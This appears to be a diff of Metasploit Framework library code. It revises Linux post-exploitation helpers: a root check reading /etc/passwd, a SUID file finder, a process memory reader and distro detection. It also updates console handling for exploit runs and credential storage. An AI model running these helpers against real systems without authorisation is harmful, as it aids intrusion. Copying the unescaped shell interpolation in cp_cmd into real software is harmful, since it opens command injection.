@@ -1,125 +1,198 @@
# -*- coding: binary -*-
module Msf
class Post
module Linux
module Priv
include ::Msf::Post::Common
class Post
module Linux
module Priv
include ::Msf::Post::Common
include ::Msf::Post::File
#
# Returns true if running as root, false if not.
# @return [Boolean]
#
def is_root?
if command_exists?('id')
user_id = cmd_exec('id -u')
clean_user_id = user_id.to_s.gsub(/[^\d]/, '')
if clean_user_id.empty?
raise "Could not determine UID: #{user_id.inspect}"
end
return (clean_user_id == '0')
end
user = whoami
data = cmd_exec('while read line; do echo $line; done </etc/passwd')
data.each_line do |line|
line = line.split(':')
return true if line[0] == user && line[3].to_i == 0
end
false
end
#
# Returns true if running as root, false if not.
#
# @return [Boolean]
# @raise [RuntimeError] If execution fails.
#
def is_root?
if command_exists?('id')
user_id = cmd_exec('id -u')
clean_user_id = user_id.to_s.gsub(/[^\d]/, '')
if clean_user_id.empty?
raise "Could not determine UID: #{user_id.inspect}"
end
#
# Multiple functions to simulate native commands added
#
return (clean_user_id == '0')
end
user = whoami
data = cmd_exec('while read line; do echo $line; done </etc/passwd')
data.each_line do |line|
line = line.split(':')
return true if line[0] == user && line[3].to_i == 0
end
false
end
def touch_cmd(new_path_file)
cmd_exec("> #{new_path_file}")
end
#
# Multiple functions to simulate native commands added
#
def cp_cmd(origin_file, final_file)
file_origin = read_file(origin_file)
cmd_exec("echo '#{file_origin}' > #{final_file}")
end
#
# Creates an empty file at the specified path using the touch command
#
# @param new_path_file [String] the path to the new file to be created
# @return [String] the output of the command
#
def touch_cmd(new_path_file)
cmd_exec("> #{new_path_file}")
end
def binary_of_pid(pid)
binary = read_file("/proc/#{pid}/cmdline")
if binary == "" #binary.empty?
binary = read_file("/proc/#{pid}/comm")
end
if binary[-1] == "\n"
binary = binary.split("\n")[0]
end
return binary
end
#
# Copies the content of one file to another using a command execution
#
# @param origin_file [String] the path to the source file
# @param final_file [String] the path to the destination file
# @return [String] the output of the command
#
def cp_cmd(origin_file, final_file)
file_origin = read_file(origin_file)
cmd_exec("echo '#{file_origin}' > '#{final_file}'")
end
def seq(first, increment, last)
result = []
(first..last).step(increment) do |i|
result.insert(-1, i)
end
return result
end
#
# Retrieves the binary name of a process given its PID
#
# @param pid [Integer] the process ID
# @return [String] the binary name of the process
#
def binary_of_pid(pid)
binary = read_file("/proc/#{pid}/cmdline")
if binary == '' # binary.empty?
binary = read_file("/proc/#{pid}/comm")
end
if binary[-1] == "\n"
binary = binary.split("\n")[0]
end
return binary
end
def wc_cmd(file)
[nlines_file(file), nwords_file(file), nchars_file(file), file]
end
#
# Generates a sequence of numbers from `first` to `last` with a given `increment`
#
# @param first [Integer] the starting number of the sequence
# @param increment [Integer] the step increment between each number in the sequence
# @param last [Integer] the ending number of the sequence
# @return [Array<Integer>] an array containing the sequence of numbers
#
def seq(first, increment, last)
result = []
(first..last).step(increment) do |i|
result.insert(-1, i)
end
return result
end
def nchars_file(file)
nchars = 0
lines = read_file(file).split("\n")
nchars = lines.length()
lines.each do |line|
line.gsub(/[ ]/, ' ' => '')
nchars_line = line.length()
nchars = nchars + nchars_line
end
return nchars
end
#
# Returns the number of lines, words, and characters in a file
#
# @param file [String] the path to the file
# @return [Array<Integer, Integer, Integer, String>] an array containing the number of lines, words, characters, and the file name
#
def wc_cmd(file)
[nlines_file(file), nwords_file(file), nchars_file(file), file]
end
def nwords_file(file)
nwords = 0
lines = read_file(file).split("\n")
lines.each do |line|
words = line.split(" ")
nwords_line = words.length()
nwords = nwords + nwords_line
end
return nwords
end
#
# Returns the number of characters in a file
#
# @param file [String] the path to the file
# @return [Integer] the number of characters in the file
#
def nchars_file(file)
nchars = 0
lines = read_file(file).split("\n")
nchars = lines.length
lines.each do |line|
line.gsub(/ /, ' ' => '')
nchars_line = line.length
nchars += nchars_line
end
nchars
end
def nlines_file(file)
lines = read_file(file).split("\n")
nlines = lines.length()
return nlines
end
#
# Returns the number of words in a file
#
# @param file [String] the path to the file
# @return [Integer] the number of words in the file
#
def nwords_file(file)
nwords = 0
lines = read_file(file).split("\n")
lines.each do |line|
words = line.split(' ')
nwords_line = words.length
nwords += nwords_line
end
return nwords
end
def head_cmd(file, nlines)
lines = read_file(file).split("\n")
result = lines[0..nlines-1]
return result
end
#
# Returns the number of lines in a file
#
# @param file [String] the path to the file
# @return [Integer] the number of lines in the file
#
def nlines_file(file)
lines = read_file(file).split("\n")
nlines = lines.length
return nlines
end
def tail_cmd(file, nlines)
lines = read_file(file).split("\n")
result = lines[-1*(nlines)..-1]
return result
end
#
# Returns the first `n` lines of a file
#
# @param file [String] the path to the file
# @param nlines [Integer] the number of lines to return
# @return [Array<String>] an array containing the first `n` lines of the file
#
def head_cmd(file, nlines)
lines = read_file(file).split("\n")
result = lines[0..nlines - 1]
return result
end
def grep_cmd(file, string)
result = []
lines = read_file(file).split("\n")
#
# Returns the last `n` lines of a file
#
# @param file [String] the path to the file
# @param nlines [Integer] the number of lines to return
# @return [Array<String>] an array containing the last `n` lines of the file
#
def tail_cmd(file, nlines)
lines = read_file(file).split("\n")
result = lines[-1 * nlines..]
return result
end
lines.each do |line|
if line.include?(string)
result.insert(-1, line)
#
# Searches for a specific string in a file and returns the lines that contain the string
#
# @param file [String] the path to the file
# @param string [String] the string to search for
# @return [Array<String>] an array containing the lines that include the specified string
#
def grep_cmd(file, string)
result = []
lines = read_file(file).split("\n")
lines.each do |line|
if line.include?(string)
result.insert(-1, line)
end
end
return result
end
end
end
return result
end
end # Priv
end # Linux
end # Post
end # Msf
end
+35 -29
View File
@@ -1,36 +1,42 @@
# -*- coding: binary -*-
require 'rex/post'
module Msf
class Post
module Linux
class Post
module Linux
module Process
include Msf::Post::Process
module Process
def initialize(info = {})
super(
update_info(
info,
'Compat' => {
'Meterpreter' => {
'Commands' => %w[
stdapi_sys_process_attach
stdapi_sys_process_memory_read
]
}
}
)
)
end
include Msf::Post::Process
def initialize(info = {})
super(
update_info(
info,
'Compat' => {
'Meterpreter' => {
'Commands' => %w[
stdapi_sys_process_attach
stdapi_sys_process_memory_read
]
}
}
)
)
#
# Reads a specified length of memory from a given base address of a process
#
# @param base_address [Integer] the starting address to read from
# @param length [Integer] the number of bytes to read
# @param pid [Integer] the process ID (optional, default is 0)
# @return [String] the read memory content
#
def mem_read(base_address, length, pid: 0)
proc_id = session.sys.process.open(pid, PROCESS_READ)
proc_id.memory.read(base_address, length)
end
end
end
end
def mem_read(base_address, length, pid: 0)
proc_id = session.sys.process.open(pid, PROCESS_READ)
data = proc_id.memory.read(base_address, length)
end
end # Process
end # Linux
end # Post
end # Msf
end
+66 -12
View File
@@ -7,6 +7,7 @@ module Msf
include ::Msf::Post::Common
include ::Msf::Post::File
include ::Msf::Post::Unix
include Msf::Auxiliary::Report
#
# Returns a Hash containing Distribution Name, Version and Kernel Information
@@ -14,12 +15,38 @@ module Msf
def get_sysinfo
system_data = {}
etc_files = cmd_exec('ls /etc').split
kernel_version = cmd_exec('uname -a')
system_data[:kernel] = kernel_version
# Debian
if etc_files.include?('debian_version')
# The order of these checks is important.
# * Checks for Arch-based distros must be performed before the check for Arch.
# * Checks for Antix-based distros must be performed before the check for Antix.
# * Checks for Debian-based distros must be performed before the check for Debian.
# * Checks for distros which ship with '/etc/system-release' must be performed
# prior to the 'system-release' check.
# * Checks for distros which ship with '/etc/issue' must be performed
# prior to the Generic 'issue' check.
# MX Linux
if etc_files.include?('mx-version')
version = read_file('/etc/mx-version').gsub(/\n|\\n|\\l/, '').strip
system_data[:distro] = 'mxlinux'
system_data[:version] = version
# AntiX
elsif etc_files.include?('antix-version')
version = read_file('/etc/antix-version').gsub(/\n|\\n|\\l/, '').strip
system_data[:distro] = 'antix'
system_data[:version] = version
# OpenMandriva
elsif etc_files.include?('openmandriva-release')
version = read_file('/etc/openmandriva-release').gsub(/\n|\\n|\\l/, '').strip
system_data[:distro] = 'openmandriva'
system_data[:version] = version
# Debian / Ubuntu (and forks)
elsif etc_files.include?('debian_version')
version = read_file('/etc/issue').gsub(/\n|\\n|\\l/, '').strip
if kernel_version =~ /Ubuntu/
system_data[:distro] = 'ubuntu'
@@ -64,6 +91,12 @@ module Msf
system_data[:distro] = 'redhat'
system_data[:version] = version
# Manjaro
elsif etc_files.include?('manjaro-release')
version = read_file('/etc/manjaro-release').gsub(/\n|\\n|\\l/, '').strip
system_data[:distro] = 'manjaro'
system_data[:version] = version
# Arch
elsif etc_files.include?('arch-release')
version = read_file('/etc/arch-release').gsub(/\n|\\n|\\l/, '').strip
@@ -132,8 +165,10 @@ module Msf
# Gathers all SUID files on the filesystem.
# NOTE: This uses the Linux `find` command. It will most likely take a while to get all files.
# Consider specifying a more narrow find path.
#
# @param findpath The path on the system to start searching
# @return [Array]
#
def get_suid_files(findpath = '/')
cmd_exec("find #{findpath} -perm -4000 -print -xdev").to_s.split("\n").delete_if { |i| i.include? 'Permission denied' }
rescue StandardError
@@ -142,7 +177,9 @@ module Msf
#
# Gets the $PATH environment variable
#
# @return [String]
#
def get_path
cmd_exec('echo $PATH').to_s
rescue StandardError
@@ -151,6 +188,7 @@ module Msf
#
# Gets basic information about the system's CPU.
#
# @return [Hash]
#
def get_cpu_info
@@ -171,6 +209,7 @@ module Msf
#
# Gets the hostname of the system
#
# @return [String]
#
def get_hostname
@@ -188,6 +227,7 @@ module Msf
#
# Gets the name of the current shell
#
# @return [String]
#
def get_shell_name
@@ -202,6 +242,7 @@ module Msf
#
# Gets the pid of the current shell
#
# @return [String]
#
def get_shell_pid
@@ -210,6 +251,7 @@ module Msf
#
# Checks if the system has gcc installed
#
# @return [Boolean]
#
def has_gcc?
@@ -220,6 +262,7 @@ module Msf
#
# Checks if the system has clang installed
#
# @return [Boolean]
#
def has_clang?
@@ -230,6 +273,7 @@ module Msf
#
# Checks if `file_path` is mounted on a noexec mount point
#
# @return [Boolean]
#
def noexec?(file_path)
@@ -245,6 +289,7 @@ module Msf
#
# Checks if `file_path` is mounted on a nosuid mount point
#
# @return [Boolean]
#
def nosuid?(file_path)
@@ -260,6 +305,7 @@ module Msf
#
# Checks for protected hardlinks on the system
#
# @return [Boolean]
#
def protected_hardlinks?
@@ -270,6 +316,7 @@ module Msf
#
# Checks for protected symlinks on the system
#
# @return [Boolean]
#
def protected_symlinks?
@@ -280,18 +327,22 @@ module Msf
#
# Gets the version of glibc
#
# @return [String]
#
def glibc_version
raise 'glibc is not installed' unless command_exists? 'ldd'
begin
cmd_exec('ldd --version').scan(/^ldd\s+\(.*\)\s+([\d.]+)/).flatten.first
rescue StandardError
raise 'Could not determine glibc version'
cmd_exec('ldd --version').scan(/^ldd\s+\(.*\)\s+([\d.]+)/).flatten.first
rescue StandardError
raise 'Could not determine glibc version'
end
end
#
# Gets the mount point of `filepath`
#
# @param [String] filepath The filepath to get the mount point
# @return [String]
#
@@ -303,6 +354,7 @@ module Msf
#
# Gets all the IP directions of the device
#
# @return [Array]
#
def ips
@@ -323,6 +375,7 @@ module Msf
#
# Gets all the interfaces of the device
#
# @return [Array]
#
def interfaces
@@ -338,6 +391,7 @@ module Msf
#
# Gets all the macs of the device
#
# @return [Array]
#
def macs
@@ -354,9 +408,10 @@ module Msf
result
end
# Parsing information based on: https://github.com/sensu-plugins/sensu-plugins-network-checks/blob/master/bin/check-netstat-tcp.rb
#
# Parsing information based on: https://github.com/sensu-plugins/sensu-plugins-network-checks/blob/master/bin/check-netstat-tcp.rb
# Gets all the listening tcp ports in the device
#
# @return [Array]
#
def listen_tcp_ports
@@ -377,8 +432,8 @@ module Msf
end
# Parsing information based on: https://github.com/sensu-plugins/sensu-plugins-network-checks/blob/master/bin/check-netstat-tcp.rb
#
# Gets all the listening udp ports in the device
#
# @return [Array]
#
def listen_udp_ports
@@ -400,6 +455,7 @@ module Msf
#
# Determine if system is a container
#
# @return [String]
#
def get_container_type
@@ -421,6 +477,8 @@ module Msf
return 'Docker'
when /lxc/i
return 'LXC'
else
return 'Unknown'
end
else
# Check for the "container" environment variable
@@ -443,11 +501,7 @@ module Msf
end
container_type
end
# System
end
# Linux
end
# Post
end
# Msf
end
+9 -1
View File
@@ -187,9 +187,17 @@ module Session
# exploit instance. Store references from and to the exploit module.
#
def set_from_exploit(m)
target_host = nil
unless m.target_host.blank?
# only propagate the target_host value if it's exactly 1 host
if (rw = Rex::Socket::RangeWalker.new(m.target_host)).length == 1
target_host = rw.next_ip
end
end
self.via = { 'Exploit' => m.fullname }
self.via['Payload'] = ('payload/' + m.datastore['PAYLOAD'].to_s) if m.datastore['PAYLOAD']
self.target_host = Rex::Socket.getaddress(m.target_host) if (m.target_host.to_s.strip.length > 0)
self.target_host = target_host
self.target_port = m.target_port if (m.target_port.to_i != 0)
self.workspace = m.workspace
self.username = m.owner
@@ -60,16 +60,9 @@ class Auxiliary
rhosts = mod_with_opts.datastore['RHOSTS']
rhosts_walker = Msf::RhostsWalker.new(rhosts, mod_with_opts.datastore)
begin
mod_with_opts.validate
rescue ::Msf::OptionValidateError => e
::Msf::Ui::Formatter::OptionValidateError.print_error(mod_with_opts, e)
return false
end
begin
# Check if this is a scanner module or doesn't target remote hosts
if rhosts.blank? || mod.class.included_modules.include?(Msf::Auxiliary::Scanner)
if rhosts.blank? || mod.class.included_modules.include?(Msf::Auxiliary::MultipleTargetHosts)
mod_with_opts.run_simple(
'Action' => args[:action],
'LocalInput' => driver.input,
@@ -79,6 +72,8 @@ class Auxiliary
)
# For multi target attempts with non-scanner modules.
else
# When RHOSTS is split, the validation changes slightly, so perform it reports the host the validation failed for
mod_with_opts.validate
rhosts_walker.each do |datastore|
mod_with_opts = mod.replicant
mod_with_opts.datastore.merge!(datastore)
@@ -102,15 +97,14 @@ class Auxiliary
rescue ::Interrupt
print_error("Auxiliary interrupted by the console user")
rescue ::Msf::OptionValidateError => e
::Msf::Ui::Formatter::OptionValidateError.print_error(running_mod, e)
::Msf::Ui::Formatter::OptionValidateError.print_error(mod_with_opts, e)
return false
rescue ::Exception => e
print_error("Auxiliary failed: #{e.class} #{e}")
if(e.class.to_s != 'Msf::OptionValidateError')
print_error("Call stack:")
e.backtrace.each do |line|
break if line =~ /lib.msf.base.simple/
print_error(" #{line}")
end
print_error("Call stack:")
e.backtrace.each do |line|
break if line =~ /lib.msf.base.simple/
print_error(" #{line}")
end
return false
+22 -13
View File
@@ -100,16 +100,19 @@ class Creds
print_line "Usage - Adding credentials:"
print_line " creds add uses the following named parameters."
{
user: 'Public, usually a username',
password: 'Private, private_type Password.',
ntlm: 'Private, private_type NTLM Hash.',
postgres: 'Private, private_type postgres MD5',
pkcs12: 'Private, private_type pkcs12 archive file, must be a file path.',
'ssh-key' => 'Private, private_type SSH key, must be a file path.',
hash: 'Private, private_type Nonreplayable hash',
jtr: 'Private, private_type John the Ripper hash type.',
realm: 'Realm, ',
'realm-type'=>"Realm, realm_type (#{Metasploit::Model::Realm::Key::SHORT_NAMES.keys.join(' ')}), defaults to domain."
user: 'Public, usually a username',
password: 'Private, private_type Password.',
ntlm: 'Private, private_type NTLM Hash.',
postgres: 'Private, private_type postgres MD5',
pkcs12: 'Private, private_type pkcs12 archive file, must be a file path.',
'ssh-key' => 'Private, private_type SSH key, must be a file path.',
hash: 'Private, private_type Nonreplayable hash',
jtr: 'Private, private_type John the Ripper hash type.',
realm: 'Realm, ',
'realm-type' => "Realm, realm_type (#{Metasploit::Model::Realm::Key::SHORT_NAMES.keys.join(' ')}), defaults to domain.",
'adcs-ca' => 'CA, Certificate Authority that issued the pkcs12 certificate',
'adcs-template' => 'ADCS Template, template used to issue the pkcs12 certificate',
'pkcs12-password' => 'The password to decrypt the Pkcs12, defaults to an empty password'
}.each_pair do |keyword, description|
print_line " #{keyword.to_s.ljust 10}: #{description}"
end
@@ -206,7 +209,7 @@ class Creds
end
begin
params.assert_valid_keys('user','password','realm','realm-type','ntlm','ssh-key','hash','address','port','protocol', 'service-name', 'jtr', 'pkcs12', 'postgres')
params.assert_valid_keys('user','password','realm','realm-type','ntlm','ssh-key','hash','address','port','protocol', 'service-name', 'jtr', 'pkcs12', 'postgres', 'adcs-ca', 'adcs-template', 'pkcs12-password')
rescue ArgumentError => e
print_error(e.message)
end
@@ -276,6 +279,10 @@ class Creds
end
data[:private_type] = :pkcs12
data[:private_data] = pkcs12_data
data[:private_metadata] = {}
data[:private_metadata][:adcs_ca] = params['adcs-ca'] if params['adcs-ca']
data[:private_metadata][:adcs_template] = params['adcs-template'] if params['adcs-template']
data[:private_metadata][:pkcs12_password] = params['pkcs12-password'] if params['pkcs12-password']
end
if params.key? 'hash'
@@ -305,7 +312,7 @@ class Creds
framework.db.create_credential(data)
end
rescue ActiveRecord::RecordInvalid => e
print_error("Failed to add #{data['private_type']}: #{e}")
print_error("Failed to add #{data[:private_type]}: #{e}")
end
end
@@ -414,11 +421,13 @@ class Creds
when 'password'
Metasploit::Credential::Password
when 'hash'
Metasploit::Credential::PasswordHash
Metasploit::Credential::NonreplayableHash
when 'ntlm'
Metasploit::Credential::NTLMHash
when 'KrbEncKey'.downcase
Metasploit::Credential::KrbEncKey
when 'pkcs12'
Metasploit::Credential::Pkcs12
when *Metasploit::Credential::NonreplayableHash::VALID_JTR_FORMATS
opts[:jtr_format] = ptype
Metasploit::Credential::NonreplayableHash
@@ -40,9 +40,9 @@ class Exploit
#
# Launches an exploitation single attempt.
#
def exploit_single(mod, opts)
def exploit_single(mod, opts, &block)
begin
session = mod.exploit_simple(opts)
session = mod.exploit_simple(opts, &block)
rescue ::Interrupt
raise $!
rescue ::Msf::OptionValidateError => e
@@ -136,21 +136,16 @@ class Exploit
'Quiet' => args[:quiet] || false
}
begin
mod_with_opts.validate
rescue ::Msf::OptionValidateError => e
::Msf::Ui::Formatter::OptionValidateError.print_error(mod_with_opts, e)
return false
end
driver.run_single('reload_lib -a') if args[:reload_libs]
if rhosts && has_rhosts_option
if rhosts && has_rhosts_option && !mod.class.included_modules.include?(Msf::Auxiliary::MultipleTargetHosts)
rhosts_walker = Msf::RhostsWalker.new(rhosts, mod_with_opts.datastore)
rhosts_walker_count = rhosts_walker.count
rhosts_walker = rhosts_walker.to_enum
end
run_mod = nil
# For multiple targets exploit attempts.
if rhosts_walker && rhosts_walker_count > 1
opts[:multi] = true
@@ -163,7 +158,7 @@ class Exploit
# Catch the interrupt exception to stop the whole module during exploit
begin
print_status("Exploiting target #{datastore['RHOSTS']}")
session = exploit_single(nmod, opts)
session = exploit_single(nmod, opts) { |mod| run_mod = mod }
rescue ::Interrupt
print_status("Stopping exploiting current target #{datastore['RHOSTS']}...")
print_status("Control-C again to force quit exploiting all targets.")
@@ -185,7 +180,7 @@ class Exploit
if rhosts_walker && rhosts_walker_count == 1
nmod.datastore.merge!(rhosts_walker.next)
end
session = exploit_single(nmod, opts)
session = exploit_single(nmod, opts) { |mod| run_mod = mod }
# If we were given a session, let's see what we can do with it
if session
any_session = true
@@ -211,7 +206,7 @@ class Exploit
end
# If we didn't get any session and exploit ended launch.
unless any_session
unless any_session || run_mod&.error.is_a?(Msf::OptionValidateError)
# If we didn't run a payload handler for this exploit it doesn't
# make sense to complain to the user that we didn't get a session
unless mod_with_opts.datastore["DisablePayloadHandler"]
@@ -380,7 +380,7 @@ module Msf
print_line
print_line "Keywords:"
{
'adapter' => 'Modules with a matching adater reference name',
'adapter' => 'Modules with a matching adapter reference name',
'aka' => 'Modules with a matching AKA (also-known-as) name',
'author' => 'Modules written by this author',
'arch' => 'Modules affecting this architecture',
+4 -1
View File
@@ -298,7 +298,10 @@ class MsfAutoload
'uds_errors' => 'UDSErrors',
'smb_hash_capture' => 'SMBHashCapture',
'rex_ntlm' => 'RexNTLM',
'teamcity' => 'TeamCity'
'teamcity' => 'TeamCity',
'nist_sp_800_38f' => 'NIST_SP_800_38f',
'nist_sp_800_108' => 'NIST_SP_800_108',
'pfsense' => 'PfSense'
}
end

Some files were not shown because too many files have changed in this diff Show More